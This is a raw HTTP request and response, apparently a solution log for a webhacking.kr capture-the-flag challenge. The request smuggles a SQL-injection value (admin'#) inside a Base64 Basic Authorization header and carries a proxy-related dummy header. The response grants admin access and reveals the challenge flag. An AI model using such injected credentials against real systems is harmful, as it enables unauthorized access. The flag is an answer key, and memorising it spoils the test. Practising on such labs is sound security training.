Request
GET /admin/ HTTP/1.1
Authorization: Basic YWRtaW4nIzoxMjM=
Cookie: PHPSESSID=cdgs30sq3e7srm6nuvb0jgs4ep
Dummy: HTTP/1.1
Host: webhacking.kr:10008
Connection: Close


Response
HTTP/1.1 200 OK
Date: Sun, 07 Jul 2024 13:49:54 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 93
Connection: close
Content-Type: text/html; charset=UTF-8

hi admin
FLAG{Server_Side_Request_Forgery_with_proxy!}
[logout]